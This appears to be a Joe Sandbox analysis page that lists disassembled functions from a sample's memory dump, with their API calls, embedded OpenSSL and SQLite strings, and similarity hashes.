Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l$AcquireExclusiveLock
String ID: crypto\ex_data.c$get_and_lock$ossl_crypto_get_ex_new_index_ex
API String ID: 1653626913-409646806
Opcode ID: 3a761fa95051c4aa94c588d807d73480722185b60b42efde317039cb72009d22
Instruction ID: 3613828a6870ee0461130a6bdeef5cf81c8ad7117cbcd1d1515698d9fd961101
Opcode Fuzzy Hash: 3a761fa95051c4aa94c588d807d73480722185b60b42efde317039cb72009d22
Instruction Fuzzy Hash: 084129B9A4030177D650EF68AC42F2677D4FF41750F104A65F9C8A6393FB22BA24D752

Function 10057480 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 137threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 100574AF
memset.VCRUNTIME140(?,00000000), ref: 10057501

Strings

:%s:%d:%s, xrefs: 1005759E
<null>, xrefs: 10057528, 10057536
%s:, xrefs: 10057537
crypto\err\err_prn.c, xrefs: 100575B2

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CurrentThreadmemset
String ID: %s:$:%s:%d:%s$<null>$crypto\err\err_prn.c
API String ID: 3657683302-1315321549
Opcode ID: c72d75a054df8b0eb5b76c65b20053d12da740a1ea2688ec426e8093d28300ec
Instruction ID: 3ca688cc038ca2ff2f5512c5c11d23636e6d071cc0cf5bbd89357c8675c9129b
Opcode Fuzzy Hash: c72d75a054df8b0eb5b76c65b20053d12da740a1ea2688ec426e8093d28300ec
Instruction Fuzzy Hash: 01416E76908345ABC311CFA4DC45FDBBBECEF89344F400929F58993102EB75E6588BA6

Function 10051F00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10051F4A
__fprintf_l.LIBCMT ref: 10051F7F
__fprintf_l.LIBCMT ref: 1005205B

Strings

EVP_EncryptUpdate, xrefs: 10051F2D, 10051F62, 10051FF9, 1005202D, 1005203E
crypto\evp\evp_enc.c, xrefs: 10051F37, 10051F6C, 10052003, 10052048

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_EncryptUpdate$crypto\evp\evp_enc.c
API String ID: 3906573944-473268691
Opcode ID: 1103bb3989cc781fd223e7f9b30445747915999e3e135dd86b5faca62c9ea0e3
Instruction ID: b56c677d0bfdc7d16f5255b694816d734f20fa6584f86c5d228fc28bf940c392
Opcode Fuzzy Hash: 1103bb3989cc781fd223e7f9b30445747915999e3e135dd86b5faca62c9ea0e3
Instruction Fuzzy Hash: 96312436644301BEE200EA64FC46F9F76D1FF81B14F110869F688A90C3DB72A85ED266

Function 10052990 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100529CF
__fprintf_l.LIBCMT ref: 10052A03
__fprintf_l.LIBCMT ref: 10052ADE

Strings

EVP_EncryptUpdate, xrefs: 100529B2, 100529E6, 10052A7C, 10052A92, 10052AC1
crypto\evp\evp_enc.c, xrefs: 100529BC, 100529F0, 10052A9C, 10052ACB

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_EncryptUpdate$crypto\evp\evp_enc.c
API String ID: 3906573944-473268691
Opcode ID: 68ef3965aad738604dceb21fddf23aa833bcea995c1093974e8ffab140906a25
Instruction ID: 0fcddcf1bce309afaebcb2ad50996d9e75f291ec44e1b966dcb48d1a9fed5d60
Opcode Fuzzy Hash: 68ef3965aad738604dceb21fddf23aa833bcea995c1093974e8ffab140906a25
Instruction Fuzzy Hash: B1312C36244301BFE210EA64BC43F9B76D1FF81B14F110958F689A91C3DB71A959D297

Function 1008E690 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 89COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008E6EB
__fprintf_l.LIBCMT ref: 1008EBE3
__fprintf_l.LIBCMT ref: 1008F00B

Strings

Type=, xrefs: 1008EBEE
asn1_item_embed_d2i, xrefs: 1008E6CE, 1008E72A, 1008EFEE
crypto\asn1\tasn_dec.c, xrefs: 1008E6D8, 1008E734, 1008EFF8

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: Type=$asn1_item_embed_d2i$crypto\asn1\tasn_dec.c
API String ID: 3906573944-2516943257
Opcode ID: d3dec936bea7299ffaf8bd71bc511cd976e281166a00db1c29658b3c8c1a764b
Instruction ID: f7a751ba6c58265eaf288019c856c03fb5c3f97ece19319845019b82f12d1a6c
Opcode Fuzzy Hash: d3dec936bea7299ffaf8bd71bc511cd976e281166a00db1c29658b3c8c1a764b
Instruction Fuzzy Hash: A5212F79B483517BD200DBA5AC43F5BB3D0FB85740F900A16FE48EA182EBB1F8949657

Function 1007B600 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008314A
__fprintf_l.LIBCMT ref: 100831BD
__fprintf_l.LIBCMT ref: 100831ED

Strings

X, xrefs: 1007B600
CRYPTO_set_ex_data, xrefs: 1008312D, 100831A0, 100831D0
crypto\ex_data.c, xrefs: 10083137, 100831AA, 100831DA

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: CRYPTO_set_ex_data$X$crypto\ex_data.c
API String ID: 3906573944-765954296
Opcode ID: a659b647f0424b93a7aaa9b38f975e9ed241d8e1d99fd62ada73306ccd7e4828
Instruction ID: ef4dde26052763833c045257018984e41d220934455be988a82a7aee9642a03c
Opcode Fuzzy Hash: a659b647f0424b93a7aaa9b38f975e9ed241d8e1d99fd62ada73306ccd7e4828
Instruction Fuzzy Hash: B9213036B8034136DA10F668BC47F5B7694FBC0F50F148921FA8CEA193E610F92461A6

Function 10272B10 Relevance: 10.6, APIs: 7, Instructions: 86sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 10252FC0: QueryPerformanceCounter.KERNEL32(?,?,?,?,?), ref: 10252FD3
Part of subcall function 10252FC0: __alldvrm.LIBCMT ref: 10252FED
Part of subcall function 10252FC0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10253014

Part of subcall function 10271E80: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000000,?,10272B32,?,00000000,?,00000000,?,?), ref: 10271E99
Part of subcall function 10271E80: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271EA9
Part of subcall function 10271E80: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 10271EC3
Part of subcall function 10271E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271ECE

MoveFileExW.KERNEL32(00000000,00000000,00000001,00000000,?,?), ref: 10272B4C
Sleep.KERNEL32(00000001), ref: 10272B99
MoveFileExW.KERNEL32(00000000,00000000,00000001), ref: 10272B9F
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272BAA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272BB7

Part of subcall function 10252FC0: GetTickCount.KERNEL32 ref: 10253031

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272BCE
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272BDB

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: free$ByteCharFileMoveMultiWide$CountCounterPerformanceQuerySleepTickUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@malloc
String ID:
API String ID: 259018025-0
Opcode ID: f55c934856d17df3c16fb2bd414548b543336f41f2659b501d8814f8bd0aee2b
Instruction ID: f606998a173c7a52d9b22e478ff2eac65e6b1f2a49ed237ce79e8d5ca64aa29c
Opcode Fuzzy Hash: f55c934856d17df3c16fb2bd414548b543336f41f2659b501d8814f8bd0aee2b
Instruction Fuzzy Hash: 17216A35E0131167E6115B349C82BBF7328EFE7698F10A124FD4451101FE36B6FD46A6

Function 10058E60 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10058EA3
__fprintf_l.LIBCMT ref: 10058EE9
__fprintf_l.LIBCMT ref: 10058F44

Strings

crypto\params.c, xrefs: 10058E90, 10058ED6, 10058F35
get_ptr_internal, xrefs: 10058E86, 10058ECC
get_string_ptr_internal, xrefs: 10058F2F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\params.c$get_ptr_internal$get_string_ptr_internal
API String ID: 3906573944-1953644068
Opcode ID: b8bd57c3a4df0292b79a28aa0c05f3f70d9ac797858fd19e1413d45ed757cb06
Instruction ID: 444516513789971d96fdeef4457da2d1ca49257f34b54e8db0050a0020152893
Opcode Fuzzy Hash: b8bd57c3a4df0292b79a28aa0c05f3f70d9ac797858fd19e1413d45ed757cb06
Instruction Fuzzy Hash: FC212B3AA403119FD220E668EC43B5A3291EF80B10F000035FE8CBB282DB25B949DB56

Function 101489E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 67COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000400,00000000,100B6977,?,00000400,00000000,?,?,?,?,00000000,?,100A6AB0), ref: 10148A08
__fprintf_l.LIBCMT ref: 10148A62
memset.VCRUNTIME140(00000000,00000000,?,00000009,0000006D,00000000,crypto\pem\pem_lib.c,0000003E,PEM_def_callback,100B6977,?,00000400,00000000,?), ref: 10148A6E

Strings

PEM_def_callback, xrefs: 10148A4B
Enter PEM pass phrase:, xrefs: 10148A1F, 10148A2E
crypto\pem\pem_lib.c, xrefs: 10148A52

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_lmemmovememset
String ID: Enter PEM pass phrase:$PEM_def_callback$crypto\pem\pem_lib.c
API String ID: 2147164770-1215669008
Opcode ID: 6777ecfd209fb2f805cc2d4e1c914ddfd88150a4708046fd41d8bbd38326f9b1
Instruction ID: df5199a8b9511304b21f99115d616ab8bc8f5a54b4fb5c9a866ebb65d84375ba
Opcode Fuzzy Hash: 6777ecfd209fb2f805cc2d4e1c914ddfd88150a4708046fd41d8bbd38326f9b1
Instruction Fuzzy Hash: 841136726042126BD6149A38AD02FAF77D9EF85690F154A58FDD8E3080EB15EC0587A2

Function 10272060 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,00000000,000000FF,00000000,00000000,?,?,00000017,00000000,10272D88,00000000,00000501,?), ref: 1027207C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272090
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 102720A9
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 102720B4
_wopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000017,?,00000017,00000000,10272D88,00000000,00000501,?), ref: 102720D4
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,00000017,?,00000017,00000000,10272D88,00000000,00000501,?), ref: 102720DC
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000017,00000000,10272D88,00000000,00000501,?), ref: 102720EA

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWidefree$_errno_wopenmalloc
String ID:
API String ID: 3845613331-0
Opcode ID: 7b6fbebd0e3e849b76d1f40fac09da61012acd27f3b28b9453ae0187eeee8566
Instruction ID: f1922477590dbc952a7fb853471d269197294c73dbaf0e96646ecc894b69833b
Opcode Fuzzy Hash: 7b6fbebd0e3e849b76d1f40fac09da61012acd27f3b28b9453ae0187eeee8566
Instruction Fuzzy Hash: 9A012B356042167BD7206B6A4C48E67769CDBE2BF1F650225FC24E3690EE709C14C572

Function 101A84D0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 161COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?), ref: 101A864E

Strings

96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 101A850E
API called with NULL prepared statement, xrefs: 101A84DD
misuse, xrefs: 101A8518
%s at line %d of [%.10s], xrefs: 101A851D
API called with finalized prepared statement, xrefs: 101A84F2

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$API called with NULL prepared statement$API called with finalized prepared statement$misuse
API String ID: 2162964266-3128487192
Opcode ID: 9e3f70be7d92a032afe21e1ef4890d3a963a62091c07866ffc641d90a3eff8f7
Instruction ID: c084a19d2bdc84fa23195be4207b1e0d4039c0f6f9fb5aeeb2fa0e4be058d363
Opcode Fuzzy Hash: 9e3f70be7d92a032afe21e1ef4890d3a963a62091c07866ffc641d90a3eff8f7
Instruction Fuzzy Hash: 304168B9E00782DBE7009E359C45B9B77E9FB80394F150438FC4A9B242E67DE805C7A2

Function 10067630 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,10078BF6,?,?,?,?,00000000,00000000), ref: 10067644
TlsGetValue.KERNEL32(?,?,?,?,00000000,00000000), ref: 10067652
SetLastError.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 1006765F
TlsSetValue.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 100676A5

Part of subcall function 10057A60: raise.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000016,%s:%d: OpenSSL internal error: %s,00000000,00000000,00000000,10053B52,assertion failed: ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16,crypto\evp\evp_enc.c,0000017E,?,?,?,?,1005237D,00000000,00000000), ref: 10057A78
Part of subcall function 10057A60: _exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 10057A82

Strings

crypto\threads_win.c, xrefs: 1006766E, 1006768C
assertion failed: data != NULL, xrefs: 10067691

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ErrorLastValue$_exitraise
String ID: assertion failed: data != NULL$crypto\threads_win.c
API String ID: 2469985723-2453483766
Opcode ID: 5fad7663d94771d6fdd988bb0bcaabb6ef9fd7a6a5f0dfbe10ff74d070ab8e04
Instruction ID: 376dbc69706ed34041bf858a1319989053ac563a694dddbcd6b3a4d66dd130d9
Opcode Fuzzy Hash: 5fad7663d94771d6fdd988bb0bcaabb6ef9fd7a6a5f0dfbe10ff74d070ab8e04
Instruction Fuzzy Hash: 7741DD74604316CFCB10DF28C88061AB7E2FB89354F15816EF9499B392EB31ED85CB91

Function 102537B0 Relevance: 9.1, APIs: 6, Instructions: 92synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 102537DE
CloseHandle.KERNEL32(?), ref: 102537E6
EnterCriticalSection.KERNEL32(?,00000734,?,00000088,00000000,1025ABDA,00000088), ref: 10253960
LeaveCriticalSection.KERNEL32(?,?,00000088,00000000,1025ABDA,00000088), ref: 10253973
CloseHandle.KERNEL32(00000000,?,00000088,00000000,1025ABDA,00000088), ref: 10253984
closesocket.WS2_32(?), ref: 10253A00

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterLeaveObjectSingleWaitclosesocket
String ID:
API String ID: 817826440-0
Opcode ID: d81873e34fd13f688e75efe4fde7fd172362976f6634fe6eafd78e4768bc3d75
Instruction ID: 71f8353259db8f9386f9a20c8cc8e14c87f21abe9d9559e56def4b694e52e30f
Opcode Fuzzy Hash: d81873e34fd13f688e75efe4fde7fd172362976f6634fe6eafd78e4768bc3d75
Instruction Fuzzy Hash: C4318CB5900712EBEB118F24C84C786FBA8FF49350F248129F819C7361DB71E868CB95

Function 10253470 Relevance: 9.1, APIs: 6, Instructions: 74synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000734,?,00000088,00000000,1025ABDA,00000088), ref: 10253960
LeaveCriticalSection.KERNEL32(?,?,00000088,00000000,1025ABDA,00000088), ref: 10253973
CloseHandle.KERNEL32(00000000,?,00000088,00000000,1025ABDA,00000088), ref: 10253984
WaitForSingleObject.KERNEL32(?,000000FF,?,00000088,00000000,1025ABDA,00000088), ref: 102539B7
CloseHandle.KERNEL32(?,?,00000088,00000000,1025ABDA,00000088), ref: 102539BF
closesocket.WS2_32(?), ref: 10253A00

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterLeaveObjectSingleWaitclosesocket
String ID:
API String ID: 817826440-0
Opcode ID: 28a21627193ee51b02940a537739333d115f80f8719fdce1ebac31d9e11eafed
Instruction ID: f49b8a4eaf521fd6ceeb643b5459e21dc9e5f95b6fdcc1dc575e630c9687fa69
Opcode Fuzzy Hash: 28a21627193ee51b02940a537739333d115f80f8719fdce1ebac31d9e11eafed
Instruction Fuzzy Hash: 4C2169B5500716EBDB019F60CD8DB86BBA8FF48341F108124F819C6661DB72E838CBA6

Function 10271560 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10271640
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1027172D

Strings

%3lldd %02lldh, xrefs: 10271739
%2lld:%02lld:%02lld, xrefs: 1027168B
%7lldd, xrefs: 10271756

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: %2lld:%02lld:%02lld$%3lldd %02lldh$%7lldd
API String ID: 885266447-1743532675
Opcode ID: 7c656e32d0b747ff5d3b5b9b8a005a9a2343ee1f8b1d974431593c4ffc031a40
Instruction ID: 2cf84fae5504e31e24f9dca7ffe592af3dd18da8010b05798d98fa8ec99ac334
Opcode Fuzzy Hash: 7c656e32d0b747ff5d3b5b9b8a005a9a2343ee1f8b1d974431593c4ffc031a40
Instruction Fuzzy Hash: 80517676B003045BE3089E2CCC81B6AB6DAEBD8250F59463DF848D7391EAB6EC548681

Function 1014A6F0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1014A785

Part of subcall function 100974C0: __fprintf_l.LIBCMT ref: 1009756A

__fprintf_l.LIBCMT ref: 1014A74F
__fprintf_l.LIBCMT ref: 1014A808

Strings

crypto\asn1\d2i_pr.c, xrefs: 1014A73C, 1014A773, 1014A7F5
ossl_d2i_PrivateKey_legacy, xrefs: 1014A735, 1014A76C, 1014A7EB

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\asn1\d2i_pr.c$ossl_d2i_PrivateKey_legacy
API String ID: 3906573944-100318223
Opcode ID: 4a29ac0efab1f0cd4f3fc46045f1601a9cda65e09af8ceb285bc62b426cbc782
Instruction ID: 4791d9df61c98dc09b4b5176fb02f7553ed913b68cca038f8fb6e5bc530c9689
Opcode Fuzzy Hash: 4a29ac0efab1f0cd4f3fc46045f1601a9cda65e09af8ceb285bc62b426cbc782
Instruction Fuzzy Hash: DC417A7BA0070267D211EB94BC42F5F33E4FF80651F560639F94CE6252EB26FA0592A3

Function 10087740 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008779B
__fprintf_l.LIBCMT ref: 10087840

Strings

crypto\engine\eng_dyn.c, xrefs: 10087788, 100877FC, 1008782E, 100878C5
dynamic_set_data_ctx, xrefs: 10087824
dynamic_get_data_ctx, xrefs: 1008777E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
